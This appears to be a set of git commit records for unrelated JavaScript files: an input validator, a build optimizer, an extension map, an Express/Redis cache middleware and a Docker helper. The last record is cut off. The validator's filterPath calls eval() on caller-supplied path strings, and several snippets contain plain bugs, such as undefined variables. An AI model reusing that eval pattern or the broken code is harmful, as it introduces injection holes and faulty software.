<commit_before>/*

  isType : 'object', 'array', 'function, ''string', 'number', 'boolean'
  hasLength : true, false
  minLength : number > 0
  maxLength : number > 0
  isNull : true, false
  isUndefined : true, false
  isTruthy : true, false
  isFalsy: true, false
  allowed: []
  disallowed: [], expects if key is present if input is an object
  cb: () => {} expects if cb returns true

*/

var expectType = function(input, isType) {

  if (isType === 'object' && (typeof(input) !== 'object' || Array.isArray(input))) {
    return false;
  }

  if (isType === 'array' && !Array.isArray(input)) {
    return false;
  }

  if (isType === 'function' && typeof(input) !== 'function') {
    return false;
  }

  if (isType === 'string' && typeof(input) !== 'string') {
    return false;
  }

  if (isType === 'number' && typeof(input) !== 'number') {
    return false;
  }

  if (isType === 'boolean' && typeof(input) !== 'boolean') {
    return false;
  }

  return true;

};

var expectLength = function(input, hasLength, minLength, maxLength) {

  if (hasLength !== undefined && input.length > 1 !== hasLength) {
    return false;
  }

  if (minLength !== undefined && input.length < minLength) {
    return false;
  }

  if (maxLength !== undefined && input.length > maxLength) {
    return false;
  }

  return true;

};

var expectNull = function(input, isNull) {

  if (isNull && input !== null) {
    return false;
  }

  if (!isNull && input === null) {
    return false;
  }

  return true;

};

var expectUndefined = function(input, isUndefined) {

  if (isUndefined && input !== undefined) {
    return false;
  }

  if (!isUndefined && input === undefined) {
    return false;
  }

  return true;

};

var expectTruthy = function(input, isTruthy) {

  if (isTruthy && !input) {
    return false;
  }

  if (!isTruthy && input) {
    return false;
  }

  return true;

};

var expectFalsy = function(input, isFalsy) {

  if (isFalsy && input) {
    return false;
  }

  if (!isFalsy && !input) {
    return false;
  }

  return true;

};

var expectAllowed = function(input, allowed) {

  var result = true;

  if (Array.isArray(input)) {
    input.forEach(function(item) {
      if (result) {
        if (allowed.indexOf(item) < 0) {
          result = false;
        }
      }
    });
  } else if (typeof(input) === 'object' && !Array.isArray(input)) {

    var keys = Object.keys(input);

    keys.forEach(function(key) {
      if (result) {
        if (allowed.indexOf(key) < 0) {
          result = false;
        }
      }
    });

  } else {
    if (allowed.indexOf(input) < 0) {
      return false;
    }
  }

  return result;

};

var expectDisallowed = function(input, disallowed) {

  var result = true;

  if (Array.isArray(input)) {
    input.forEach(function(item) {
      if (result) {
        if (disallowed.indexOf(item) > -1) {
          result = false;
        }
      }
    });
  } else if (typeof(input) === 'object' && !Array.isArray(input)) {

    var keys = Object.keys(input);

    keys.forEach(function(key) {
      if (result) {
        if (disallowed.indexOf(key) > -1) {
          result = false;
        }
      }
    });

  } else {
    if (disallowed.indexOf(input) > -1) {
      return false;
    }
  }

  return result;

};

var checkNested = function(input, expectsNested) {

  var keys = Object.keys(expectsNested);

  var result = true;

  keys.forEach(function(key) {
    if (result) {

      if (!expectPath(input, key)) {
        result = false;
        return;
      }

      if (true) {
        return;
      }

    }
  });

  return result;

};

var expectPath = function(base, path) {

  var current = base;
  var components = path.split('.');
  var result = true;

  components.forEach(function(component) {
    if (result) {
      if ((typeof(current) !== 'object') || (!current.hasOwnProperty(components[i]))) {
        result = false;
      }
      current = current[components[i]];
    }
  });

  return result;

};

var expectInputs = function(input, expects, expectsNested) {

  if (expects.isType !== undefined && !expectType(input, expects.isType)) {
    return false;
  }

  if ((expects.hasLength !== undefined || expects.minLength !== undefined || expects.maxLength !== undefined) && !expectLength(input, expects.hasLength, expects.minLength, expects.maxLength)) {
    return false;
  }

  if (expects.isNull !== undefined && !expectNull(input, expects.isNull)) {
    return false;
  }

  if (expects.isUndefined !== undefined && !expectUndefined(input, expects.isUndefined)) {
    return false;
  }

  if (expects.isTruthy !== undefined && !expectTruthy(input, expects.isTruthy)) {
    return false;
  }

  if (expects.isFalsy !== undefined && !expectFalsy(input, expects.isFalsy)) {
    return false;
  }

  if (expects.allowed !== undefined && !expectAllowed(input, expects.allowed)) {
    return false;
  }

  if (expects.disallowed !== undefined && !expectDisallowed(input, expects.disallowed)) {
    return false;
  }

  if (expects.cb !== undefined && !expects.cb(input)) {
    return false;
  }

  if (expectsNested !== undefined && !checkNested(input, expectsNested)) {
    return false;
  }

  return true;

};

console.log(expectInputs([1, 2, 3], {cb: function(input) { return input.length > 2; }, }));
<commit_msg>updates logic for nested objects<commit_after>/*

  isType : 'object', 'array', 'function, ''string', 'number', 'boolean'
  hasLength : true, false
  minLength : number > 0
  maxLength : number > 0
  isNull : true, false
  isUndefined : true, false
  isTruthy : true, false
  isFalsy: true, false
  allowed: []
  disallowed: [], expects if key is present if input is an object
  hasNested: { path (string) : expects (obj) }
  cb: () => {} expects if cb returns true

*/

var expectType = function(input, isType) {

  if (isType === 'object' && (typeof(input) !== 'object' || Array.isArray(input))) {
    return false;
  }

  if (isType === 'array' && !Array.isArray(input)) {
    return false;
  }

  if (isType === 'function' && typeof(input) !== 'function') {
    return false;
  }

  if (isType === 'string' && typeof(input) !== 'string') {
    return false;
  }

  if (isType === 'number' && typeof(input) !== 'number') {
    return false;
  }

  if (isType === 'boolean' && typeof(input) !== 'boolean') {
    return false;
  }

  return true;

};

var expectLength = function(input, hasLength, minLength, maxLength) {

  if (hasLength !== undefined && input.length > 1 !== hasLength) {
    return false;
  }

  if (minLength !== undefined && input.length < minLength) {
    return false;
  }

  if (maxLength !== undefined && input.length > maxLength) {
    return false;
  }

  return true;

};

var expectNull = function(input, isNull) {

  if (isNull && input !== null) {
    return false;
  }

  if (!isNull && input === null) {
    return false;
  }

  return true;

};

var expectUndefined = function(input, isUndefined) {

  if (isUndefined && input !== undefined) {
    return false;
  }

  if (!isUndefined && input === undefined) {
    return false;
  }

  return true;

};

var expectTruthy = function(input, isTruthy) {

  if (isTruthy && !input) {
    return false;
  }

  if (!isTruthy && input) {
    return false;
  }

  return true;

};

var expectFalsy = function(input, isFalsy) {

  if (isFalsy && input) {
    return false;
  }

  if (!isFalsy && !input) {
    return false;
  }

  return true;

};

var expectAllowed = function(input, allowed) {

  var result = true;

  if (Array.isArray(input)) {
    input.forEach(function(item) {
      if (result) {
        if (allowed.indexOf(item) < 0) {
          result = false;
        }
      }
    });
  } else if (typeof(input) === 'object' && !Array.isArray(input)) {

    var keys = Object.keys(input);

    keys.forEach(function(key) {
      if (result) {
        if (allowed.indexOf(key) < 0) {
          result = false;
        }
      }
    });

  } else {
    if (allowed.indexOf(input) < 0) {
      return false;
    }
  }

  return result;

};

var expectDisallowed = function(input, disallowed) {

  var result = true;

  if (Array.isArray(input)) {
    input.forEach(function(item) {
      if (result) {
        if (disallowed.indexOf(item) > -1) {
          result = false;
        }
      }
    });
  } else if (typeof(input) === 'object' && !Array.isArray(input)) {

    var keys = Object.keys(input);

    keys.forEach(function(key) {
      if (result) {
        if (disallowed.indexOf(key) > -1) {
          result = false;
        }
      }
    });

  } else {
    if (disallowed.indexOf(input) > -1) {
      return false;
    }
  }

  return result;

};

var checkNested = function(input, hasNested) {

  var result = true;
  var keys = Object.keys(hasNested);

  keys.forEach(function(key) {
    if (result) {

      var path = filterPath(input, key);

      var expectedPathResult = expectPath(input, path);
      if (expectedPathResult === false) {
        result = false;
      } if (!expectInputs(expectedPathResult, hasNested[key])) {
        result =  false;
      }

    }
  });

  return result;

};

var filterPath = function(base, path) {

  var filteredPath;
  var components = path.split('.');
  var componentsString = components[0];

  components.forEach(function(component, index) {
    if (filteredPath === undefined) {
      if (eval(componentsString) === base) {
        var componentsForFilteredString = components.slice(index + 1);
        filteredPath = componentsForFilteredString.join('.');
      } else if (components[index + 1] !== undefined) {
        componentsString = componentsString + '.' + components[index + 1];
      }
    }
  });

  return filteredPath;

};

var expectPath = function(base, path) {

  var result = true;
  var current = base;
  var components = path.split('.');

  components.forEach(function(component, index) {
    if (result) {

      if ((typeof(current) !== 'object') || (!current.hasOwnProperty(component))) {
        result = false;
      }

      current = current[component];
    }
  });

  if (result === false) {
    return result;
  } else {
    return current;
  }

};

var expectInputs = function(input, expects, debug) {

  if (expects.isType !== undefined && !expectType(input, expects.isType)) {
    return false;
  }

  if ((expects.hasLength !== undefined || expects.minLength !== undefined || expects.maxLength !== undefined) && !expectLength(input, expects.hasLength, expects.minLength, expects.maxLength)) {
    return false;
  }

  if (expects.isNull !== undefined && !expectNull(input, expects.isNull)) {
    return false;
  }

  if (expects.isUndefined !== undefined && !expectUndefined(input, expects.isUndefined)) {
    return false;
  }

  if (expects.isTruthy !== undefined && !expectTruthy(input, expects.isTruthy)) {
    return false;
  }

  if (expects.isFalsy !== undefined && !expectFalsy(input, expects.isFalsy)) {
    return false;
  }

  if (expects.allowed !== undefined && !expectAllowed(input, expects.allowed)) {
    return false;
  }

  if (expects.disallowed !== undefined && !expectDisallowed(input, expects.disallowed)) {
    return false;
  }

  if (expects.cb !== undefined && !expects.cb(input)) {
    return false;
  }

  if (expects.hasNested !== undefined && !checkNested(input, expects.hasNested)) {
    return false;
  }

  return true;

};

var testItem = {
  thing: {
    nextThing: {
      a: true,
    },
  },
};

console.log(expectInputs(testItem, {
    isType: 'object',
    hasNested: {
      'testItem.thing.nextThing.a': {
        isType: 'string',
      },
    },
  }
));
<|endoftext|>


<commit_before>var path = require("path");
var fs = require("fs");
var _ = require("lodash");
var transmoglify = require("amdclean");

var fragPath = path.join(__dirname, "fragments");

// A method that is used as `onBuildStart`.
var onBuildStart = _.once(function(name, config) {
  var shimConfiguration = config.shim;
  var context = new transmoglify.Context("default", name);

  // Prime the context with the shim configuration.
  Object.keys(shimConfiguration || {}).forEach(function(key) {
    context.register(key, "window['" + shimConfiguration[key].exports + "']");
  });

  var startFrag = String(fs.readFileSync(path.join(fragPath, "start.frag")));
  var endFrag = String(fs.readFileSync(path.join(fragPath, "end.frag")));

  // Set the start and end fragments.
  config.wrap = {
    start: _.template(startFrag)({ name: name }),
    end: _.template(endFrag)({ name: name }),
  };

  // Attach the context to the shared configuration object.
  config.context = context;
});

exports.optimize = function(name, config, source) {
  // This runs once.
  onBuildStart(name, config);

  var ast = transmoglify.clean(source, config.context);
  return ast.toString();
};
<commit_msg>Added comments and new project name.<commit_after>var path = require("path");
var fs = require("fs");
var _ = require("lodash");
var transmoglify = require("transmoglify-amd");

var fragPath = path.join(__dirname, "fragments");

// A method that is used as `onBuildStart`.
var onBuildStart = _.once(function(name, config) {
  var shimConfiguration = config.shim;
  var context = new transmoglify.Context("default", name);

  // Prime the context with the shim configuration.
  Object.keys(shimConfiguration || {}).forEach(function(key) {
    context.register(key, "window['" + shimConfiguration[key].exports + "']");
  });

  var startFrag = String(fs.readFileSync(path.join(fragPath, "start.frag")));
  var endFrag = String(fs.readFileSync(path.join(fragPath, "end.frag")));

  // Set the start and end fragments.
  config.wrap = {
    start: _.template(startFrag)({ name: name }),
    end: _.template(endFrag)({ name: name }),
  };

  // Attach the context to the shared configuration object.
  config.context = context;
});

exports.optimize = function(name, config, source) {
  // This runs once.
  onBuildStart(name, config);

  // Build out the AST from the source.  Reuse the existing context each time
  // to remain consistent.
  var ast = transmoglify.clean(source, config.context);

  // Return the string contents of the modified source file.
  return ast.toString();
};
<|endoftext|>


<commit_before>const extensions = {
  '.babel.js': {
    module: 'babel/register',
    register: function (module) {
      module({
        // register on .js extension due to https://github.com/joyent/node/blob/v0.12.0/lib/module.js#L353
        // which only captures the final extension (.babel.js -> .js)
        extensions: '.js'
      })
    }
  },
  '.cirru': 'cirru-script/lib/register',
  '.cjsx': 'node-cjsx/register',
  '.co': 'coco',
  '.coffee': ['coffee-script/register', 'coffee-script'],
  '.coffee.md': ['coffee-script/register', 'coffee-script'],
  '.csv': 'require-csv',
  '.iced': ['iced-coffee-script/register', 'iced-coffee-script'],
  '.iced.md': ['iced-coffee-script/register', 'iced-coffee-script'],
  '.ini': 'require-ini',
  '.js': null,
  '.json': null,
  '.json5': 'json5/lib/require',
  '.jsx': [
    {
      module: 'babel/register',
      register: function (module) {
        module({
          extensions: '.jsx'
        });
      },
    },
    {
      module: 'node-jsx',
      register: function (module) {
        module.install({
          extension: '.jsx',
          harmony: true
        });
      }
    }
  ],
  '.litcoffee': ['coffee-script/register', 'coffee-script'],
  '.liticed': ['iced-coffee-script/register', 'iced-coffee-script'],
  '.ls': ['livescript', 'LiveScript'],
  '.node': null,
  '.toml': {
    module: 'toml-require',
    register: function (module) {
      module.install();
    }
  },
  '.ts': ['typescript-register', 'typescript-require'],
  '.wisp': 'wisp/engine/node',
  '.xml': 'require-xml',
  '.yaml': 'require-yaml',
  '.yml': 'require-yaml'
};

const jsVariantExtensions = [
  '.js',
  '.babel.js',
  '.cirru',
  '.cjsx',
  '.co',
  '.coffee',
  '.coffee.md',
  '.iced',
  '.iced.md',
  '.jsx',
  '.litcoffee',
  '.liticed',
  '.ls',
  '.ts',
  '.wisp'
];

module.exports = {
  extensions: extensions,
  jsVariants: jsVariantExtensions.reduce(function (result, ext) {
    result[ext] = extensions[ext];
    return result;
  }, {})
};
<commit_msg>literate iced-coffee-script was not supported until the register module was available<commit_after>const extensions = {
  '.babel.js': {
    module: 'babel/register',
    register: function (module) {
      module({
        // register on .js extension due to https://github.com/joyent/node/blob/v0.12.0/lib/module.js#L353
        // which only captures the final extension (.babel.js -> .js)
        extensions: '.js'
      })
    }
  },
  '.cirru': 'cirru-script/lib/register',
  '.cjsx': 'node-cjsx/register',
  '.co': 'coco',
  '.coffee': ['coffee-script/register', 'coffee-script'],
  '.coffee.md': ['coffee-script/register', 'coffee-script'],
  '.csv': 'require-csv',
  '.iced': ['iced-coffee-script/register', 'iced-coffee-script'],
  '.iced.md': 'iced-coffee-script/register',
  '.ini': 'require-ini',
  '.js': null,
  '.json': null,
  '.json5': 'json5/lib/require',
  '.jsx': [
    {
      module: 'babel/register',
      register: function (module) {
        module({
          extensions: '.jsx'
        });
      },
    },
    {
      module: 'node-jsx',
      register: function (module) {
        module.install({
          extension: '.jsx',
          harmony: true
        });
      }
    }
  ],
  '.litcoffee': ['coffee-script/register', 'coffee-script'],
  '.liticed': 'iced-coffee-script/register',
  '.ls': ['livescript', 'LiveScript'],
  '.node': null,
  '.toml': {
    module: 'toml-require',
    register: function (module) {
      module.install();
    }
  },
  '.ts': ['typescript-register', 'typescript-require'],
  '.wisp': 'wisp/engine/node',
  '.xml': 'require-xml',
  '.yaml': 'require-yaml',
  '.yml': 'require-yaml'
};

const jsVariantExtensions = [
  '.js',
  '.babel.js',
  '.cirru',
  '.cjsx',
  '.co',
  '.coffee',
  '.coffee.md',
  '.iced',
  '.iced.md',
  '.jsx',
  '.litcoffee',
  '.liticed',
  '.ls',
  '.ts',
  '.wisp'
];

module.exports = {
  extensions: extensions,
  jsVariants: jsVariantExtensions.reduce(function (result, ext) {
    result[ext] = extensions[ext];
    return result;
  }, {})
};
<|endoftext|>


<commit_before>'use strict';
var curl = require('request'),
  url = require('url'),
  async = require('async'),
  crypto = require('crypto'),
  redis = require('redis'),
  MobileAgent = require('mobile-agent');

/**
 * @module express-view-cache
 */

/**
 * @class EVC
 * @classdesc
 * This class accepts redis connection parameters as constructor, and builds Caching Middleware
 * by method { link EVC#cachingMiddleware }
 * @see EVC#cachingMiddleware
 */

function EVC(options) {
  var config = {},
    redisClient,
    o,
    cacheKey = crypto.createHash('md5').update('I_WANNA_TEA_AND_MEAT' + (Math.random() * Date.now())).digest('hex').toString();

  if (typeof options === 'string') {
    o = url.parse(options);
    if (o.protocol === 'redis:') {
      config.host = o.hostname || 'localhost';
      config.port = o.port || 6379;
      config.pass = o.auth ? o.auth[1] : null;
      config.appPort = process.env.PORT || 3000;
    } else {
      throw new Error('ExpressViewCache - unable to parse ' + o + ' as redis connection string!');
    }
  } else {
    config = {
      'host': options.host || 'localhost',
      'port': options.port || 6379,
      'pass': options.pass,
      'client': options.client,
      'appPort': options.appPort || process.env.PORT || 3000
    };
  }

  redisClient = config.client || redis.createClient(config.port, config.host, {
    'auth_pass': config.pass,
    'return_buffers': true
  });

  /**
   * @method EVC#cachingMiddleware
   * @param {Number} [ttlInMilliSeconds=30000]
   * @param {Array} queryParams cache based on query parameter
   * @param {Boolean} [isResponsive=true]
   * @return {function} function(req, res, next){...}
   */

  this.cachingMiddleware = function (ttlInMilliSeconds,queryParams,followRedirection, isResponsive,partnerPassed) {
    ttlInMilliSeconds = parseInt(ttlInMilliSeconds, 10) || 30000;
    isResponsive = typeof isResponsive === "undefined" ? false : isResponsive;

    return function (req, res, next) {
      var partner = req.headers['partner'];
      if(!partner){ //to be removed code as it will come ngnix
          var domain = req.vhost.hostname;
          if(domain.indexOf("partner1.com")>-1){
              partner = "partner1";
          } else if(domain.indexOf("partner2.com")>-1){
              partner = "partner2";
          } else {
              partner = "specialcoveragenews";
          }
      }
      if(partnerPassed!=partner){
        next();
        return;
      }

      if (req.method === 'GET' && req.headers.express_view_cache !== cacheKey) {
        var urlToUse = req.originalUrl;
        var responsiveSuffix = '';
          // get device type (mobile/desktop)
        if (!isResponsive) {
            responsiveSuffix = isMobile(req) ? ':mobile' : ':desktop';
        }

        var query = req.query;
        if(queryParams) {
          if(queryParams.length===0){
            urlToUse=req.originalUrl.split("?")[0];
          } else {
            var queryParamsFinal="";
            var count = 0;
            for(var i=0;i<queryParams.length;i++){
              if(query[queryParams[i]]){
                queryParamsFinal+=(count==0?"?":"&")+queryParams[i]+"="+query[queryParams[i]];
                count++;
              }
            }
            if(req.originalUrl.indexOf("?")){
              urlToUse=req.originalUrl.split("?")[0]+queryParamsFinal;
            } else {
              urlToUse=req.originalUrl+queryParamsFinal;
            }
          }
        }
        var  updateCacheData = (query && query.updateCacheData=="1");
        var key = urlToUse,
            responsiveKey = urlToUse + responsiveSuffix+"#"+partner,
          data = {};

        async.waterfall([
          function (cb) {
            async.parallel({
              'dataFound': function (clb) {
                redisClient.hgetall(responsiveKey, clb);
              },
              'age': function (clb) {
                redisClient.ttl(responsiveKey, clb);
              }
            }, function (error, obj) {
              if (error) {
                cb(error);
              } else {
                cb(null, obj.dataFound, obj.age);
              }
            });
          },
          function (dataFound, age, cb) {
            if (dataFound && !updateCacheData) {
              data.Expires = new Date(Date.now() + age).toUTCString();
              data['Last-Modified'] = new Date(dataFound.savedAt).toUTCString();
              data['Content-Type'] = dataFound.contentType;
              data.statusCode = dataFound.statusCode;
              data.content = dataFound.content;
              data.cookie = res._headers['set-cookie'];
              cb(null, true);
            } else {
              var headers = req.headers;
              var flagFollowRedirection = false;
              if(followRedirection){
                flagFollowRedirection = followRedirection;
              }
              headers.express_view_cache = cacheKey;
              curl({
                'method': 'GET',
                'headers': headers,
                'url': 'http://localhost:' + config.appPort + req.originalUrl,
                'followRedirect': flagFollowRedirection
              }, function (error, response, body) {
                if (error) {
                  cb(error);
                } else {
                  data.Expires = new Date(Date.now() + ttlInMilliSeconds).toUTCString();
                  data['Last-Modified'] = new Date().toUTCString();
                  data['Content-Type'] = response.headers['content-type'];
                  data.statusCode = response.statusCode;
                  data.content = body;
                  if(data.statusCode===301) {
                    data.redirectUrl = response.headers.location;
                  }

                  data['cookie'] = response.headers['set-cookie'];

                  cb(error, false);
                }
              });
            }
          },

          function (hit, cb) {
            if (hit) {
              cb(null);
            } else {
              async.series([
                function (clb) {
                  if(data.statusCode == 200){
                    redisClient.hmset(responsiveKey, {
                      'savedAt': new Date(),
                      'contentType': data['Content-Type'],
                      'statusCode': data.statusCode,
                      'content': data.content
                    }, clb);
                  }else{
                    clb();
                  }
                },
                function (clb) {
                  redisClient.expire(responsiveKey, Math.floor(ttlInMilliSeconds / 1000), clb);
                }
              ], cb);
            }
          }
        ], function (error) {
          if (error) {
            next(error);
          } else {
            if(data.statusCode===301) {
                return res.redirect(301,data.redirectUrl);
              } else {
                if(data.cookie){
                  res.setHeader('Set-Cookie', data.cookie);
                }

                res.set('Expires', data.Expires);
                res.set('Last-Modified', data['Last-Modified']);
                res.set('Content-Type', data['Content-Type']);
                res.status(data.statusCode);

                res.send(data.content);
            }
          }
        });
      } else {
        next();
      }
    };
  };
  return this;
}

/**
 * Returns boolean value for whether the client is using mobile/desktop browser
 * @param  {Object}  req
 * @return {Boolean} isMobile[true/false]
 */
function isMobile(req) {
    var agent = MobileAgent(req.headers["user-agent"]);
    return agent.Mobile;
}

module.exports = exports = function (config) {
  return new EVC(config);
};
<commit_msg>changes<commit_after>'use strict';
var curl = require('request'),
  url = require('url'),
  async = require('async'),
  crypto = require('crypto'),
  redis = require('redis'),
  MobileAgent = require('mobile-agent');

/**
 * @module express-view-cache
 */

/**
 * @class EVC
 * @classdesc
 * This class accepts redis connection parameters as constructor, and builds Caching Middleware
 * by method { link EVC#cachingMiddleware }
 * @see EVC#cachingMiddleware
 */

function EVC(options) {
  var config = {},
    redisClient,
    o,
    cacheKey = crypto.createHash('md5').update('I_WANNA_TEA_AND_MEAT' + (Math.random() * Date.now())).digest('hex').toString();

  if (typeof options === 'string') {
    o = url.parse(options);
    if (o.protocol === 'redis:') {
      config.host = o.hostname || 'localhost';
      config.port = o.port || 6379;
      config.pass = o.auth ? o.auth[1] : null;
      config.appPort = process.env.PORT || 3000;
    } else {
      throw new Error('ExpressViewCache - unable to parse ' + o + ' as redis connection string!');
    }
  } else {
    config = {
      'host': options.host || 'localhost',
      'port': options.port || 6379,
      'pass': options.pass,
      'client': options.client,
      'appPort': options.appPort || process.env.PORT || 3000
    };
  }

  redisClient = config.client || redis.createClient(config.port, config.host, {
    'auth_pass': config.pass,
    'return_buffers': true
  });

  /**
   * @method EVC#cachingMiddleware
   * @param {Number} [ttlInMilliSeconds=30000]
   * @param {Array} queryParams cache based on query parameter
   * @param {Boolean} [isResponsive=true]
   * @return {function} function(req, res, next){...}
   */

  this.cachingMiddleware = function (ttlInMilliSeconds,queryParams,followRedirection, isResponsive,partnerPassed) {
    ttlInMilliSeconds = parseInt(ttlInMilliSeconds, 10) || 30000;
    isResponsive = typeof isResponsive === "undefined" ? false : isResponsive;

    return function (req, res, next) {
      var partner = req.partner;
      var reqType = req.pageRequestType;
      if(!partner || reqType!="page" || partnerPassed!=partner){
        next();
        return;
      }

      if (req.method === 'GET' && req.headers.express_view_cache !== cacheKey) {
        var urlToUse = req.originalUrl;
        var responsiveSuffix = '';
          // get device type (mobile/desktop)
        if (!isResponsive) {
            responsiveSuffix = isMobile(req) ? ':mobile' : ':desktop';
        }

        var query = req.query;
        if(queryParams) {
          if(queryParams.length===0){
            urlToUse=req.originalUrl.split("?")[0];
          } else {
            var queryParamsFinal="";
            var count = 0;
            for(var i=0;i<queryParams.length;i++){
              if(query[queryParams[i]]){
                queryParamsFinal+=(count==0?"?":"&")+queryParams[i]+"="+query[queryParams[i]];
                count++;
              }
            }
            if(req.originalUrl.indexOf("?")){
              urlToUse=req.originalUrl.split("?")[0]+queryParamsFinal;
            } else {
              urlToUse=req.originalUrl+queryParamsFinal;
            }
          }
        }
        var  updateCacheData = (query && query.updateCacheData=="1");
        var key = urlToUse,
            responsiveKey = urlToUse + responsiveSuffix+"#"+partner,
          data = {};

        async.waterfall([
          function (cb) {
            async.parallel({
              'dataFound': function (clb) {
                redisClient.hgetall(responsiveKey, clb);
              },
              'age': function (clb) {
                redisClient.ttl(responsiveKey, clb);
              }
            }, function (error, obj) {
              if (error) {
                cb(error);
              } else {
                cb(null, obj.dataFound, obj.age);
              }
            });
          },
          function (dataFound, age, cb) {
            if (dataFound && !updateCacheData) {
              data.Expires = new Date(Date.now() + age).toUTCString();
              data['Last-Modified'] = new Date(dataFound.savedAt).toUTCString();
              data['Content-Type'] = dataFound.contentType;
              data.statusCode = dataFound.statusCode;
              data.content = dataFound.content;
              data.cookie = res._headers['set-cookie'];
              cb(null, true);
            } else {
              var headers = req.headers;
              var flagFollowRedirection = false;
              if(followRedirection){
                flagFollowRedirection = followRedirection;
              }
              headers.express_view_cache = cacheKey;
              var original = "";
              if(req.originalUrl.indexOf("partner=")>-1){
                original = req.originalUrl;
              } else {
                if(req.originalUrl.indexOf("?")>-1){
                  original = req.originalUrl+"&partner="+partner;
                } else {
                  original = req.originalUrl+"?partner="+partner;
                }
              }

              var url ='http://localhost:' + config.appPort +original;
              curl({
                'method': 'GET',
                'headers': headers,
                'url': url,
                'followRedirect': flagFollowRedirection
              }, function (error, response, body) {
                if (error) {
                  cb(error);
                } else {
                  // var a =  response.req.path;
                  // var b =
                  console.log("response.req.path : "+response.req.path+"original : "+original);
                  if(response.req.path.indexOf("original")!=0 && original.indexOf(response.req.path)!=0){ //redirect in response
                    console.log("url did not match, redirecting to correct URL"+response.req.path);
                    res.redirect(301,response.req.path);
                    return;
                  }
                  data.Expires = new Date(Date.now() + ttlInMilliSeconds).toUTCString();
                  data['Last-Modified'] = new Date().toUTCString();
                  data['Content-Type'] = response.headers['content-type'];
                  data.statusCode = response.statusCode;
                  data.content = body;
                  if(data.statusCode===301) {
                    data.redirectUrl = response.headers.location;
                  }

                  data['cookie'] = response.headers['set-cookie'];

                  cb(error, false);
                }
              });
            }
          },

          function (hit, cb) {
            if (hit) {
              cb(null);
            } else {
              async.series([
                function (clb) {
                  if(data.statusCode == 200){
                    redisClient.hmset(responsiveKey, {
                      'savedAt': new Date(),
                      'contentType': data['Content-Type'],
                      'statusCode': data.statusCode,
                      'content': data.content
                    }, clb);
                  }else{
                    clb();
                  }
                },
                function (clb) {
                  redisClient.expire(responsiveKey, Math.floor(ttlInMilliSeconds / 1000), clb);
                }
              ], cb);
            }
          }
        ], function (error) {
          if (error) {
            next(error);
          } else {
            if(data.statusCode===301) {
                res.setHeader(express_view_cache,"");
                res.redirect(301,data.redirectUrl);
                return res.end();
              } else {
                if(data.cookie){
                  res.setHeader('Set-Cookie', data.cookie);
                }

                res.set('Expires', data.Expires);
                res.set('Last-Modified', data['Last-Modified']);
                res.set('Content-Type', data['Content-Type']);
                res.status(data.statusCode);

                res.send(data.content);
            }
          }
        });
      } else {
        next();
      }
    };
  };
  return this;
}

/**
 * Returns boolean value for whether the client is using mobile/desktop browser
 * @param  {Object}  req
 * @return {Boolean} isMobile[true/false]
 */
function isMobile(req) {
    var agent = MobileAgent(req.headers["user-agent"]);
    return agent.Mobile;
}

module.exports = exports = function (config) {
  return new EVC(config);
};
<|endoftext|>


<commit_before>'use strict'

const shasum = require( 'shasum' )
const spawn = require( 'child_process' ).spawn
const path = require( 'path' )
const fs = require('fs')

const packageConfig = require( path.resolve( process.cwd(), 'package.json' ) )

const PACKAGE_NAME_EXTRACT_EXP = RegExp( '(@(.*)\/)?(.*)' )
const NPM_BIN_PATH = `/usr/local/bin/npm`

module.exports = {
  createPackageName: createPackageName,
  createImageName: createImageName,
  dockerfileInit: dockerfileInit,
  dockerBuild: dockerBuild,
  dockerRun: dockerRun
}

/**
 * Create package name based on scope/name or overriden-scope/name
 * @param {Object} packageConfig
 * @return {string}
 */
function createPackageName( packageConfig ) {

  // Parse package name
  const packageConfigNameList = PACKAGE_NAME_EXTRACT_EXP.exec( packageConfig.name )

  const packageConfigName = packageConfigNameList[ 3 ]

  let packageConfigScope = packageConfigNameList[ 2 ]

  if (
    packageConfig.ndm &&
    packageConfig.ndm.scope
  ) {

    packageConfigScope = packageConfig.ndm.scope

  }

  if (
    packageConfigScope === `` ||
    packageConfigScope === undefined
  ) {

    return packageConfigName

  }

  return [
    packageConfigScope,
    packageConfigName
  ].join( '/' )

}

/**
 * Create Docker image name from package.json
 * - create shasum from whole package.json string
 * - get proper package name
 * @param {Object} packageConfig
 * @return {string}
 */
function createImageName( packageConfig ) {

  const packageConfigHash = shasum( JSON.stringify( packageConfig ) )

  const packageConfigName = createPackageName( packageConfig )

  return `${packageConfigName}:${packageConfigHash}`

}

/**
 * Copy dockerfile to project structure
 */
function dockerfileInit() {

  // console.log(process.env.OLDPWD)

  const targetDockerfilePath = path.resolve( process.env.PWD, 'Dockerfile' )
  const writeStream = fs.createWriteStream( targetDockerfilePath )
  writeStream.on("error", _reportError )

  const sourceDockerfilePath = path.resolve( process.env.OLDPWD, 'Dockerfile' )
  const readStream = fs.createReadStream( sourceDockerfilePath )
    .pipe( writeStream )
  readStream.on("error", _reportError )

  function _reportError( err ) {

    console.error( err )

  }

}

/**
 * Spawn subprocess with specified command
 * @param {string} cmd command name to execute
 * @param {string[]} args arguments for executed command
 */
function execCommand( cmd, args ) {

  return spawn( cmd, args, {
    env: process.env,
    cwd: process.env.PWD,
    stdio: [ 'inherit', process.stdout, process.stdout ]
  })

}

/**
 * Execute docker build command
 * @param {Object} packageConfig
 */
function dockerBuild( packageConfig ) {

  const proc = `docker`
  const args = [
    `build`,
    `-t`,
    `${createImageName( packageConfig )}`,
    `.`
  ]

  return execCommand( proc, args )

}

/**
 * Run docker run with specified command
 * @param {Object} packageConfig
 * @param {string[]} command
 */
function dockerRun( packageConfig, command ) {

  // Make npm start default command
  if (
    command === undefined ||
    command.length === 0
  ) {

    command = [
      NPM_BIN_PATH,
      `start`
    ]

  }

  const proc = `docker`
  const args = [
    `run`,
    `-it`,
    `-v`,
    `${process.cwd()}:/srv`,
    `${createImageName( packageConfig )}`,
  ].concat( command )

  return execCommand( proc, args )

}
<commit_msg>fix Dockerfile source path issue<commit_after>'use strict'

const shasum = require( 'shasum' )
const spawn = require( 'child_process' ).spawn
const path = require( 'path' )
const fs = require('fs')

const packageConfig = require( path.resolve( process.cwd(), 'package.json' ) )

const PACKAGE_NAME_EXTRACT_EXP = RegExp( '(@(.*)\/)?(.*)' )
const NPM_BIN_PATH = `/usr/local/bin/npm`

module.exports = {
  createPackageName: createPackageName,
  createImageName: createImageName,
  dockerfileInit: dockerfileInit,
  dockerBuild: dockerBuild,
  dockerRun: dockerRun
}

/**
 * Create package name based on scope/name or overriden-scope/name
 * @param {Object} packageConfig
 * @return {string}
 */
function createPackageName( packageConfig ) {

  // Parse package name
  const packageConfigNameList = PACKAGE_NAME_EXTRACT_EXP.exec( packageConfig.name )

  const packageConfigName = packageConfigNameList[ 3 ]

  let packageConfigScope = packageConfigNameList[ 2 ]
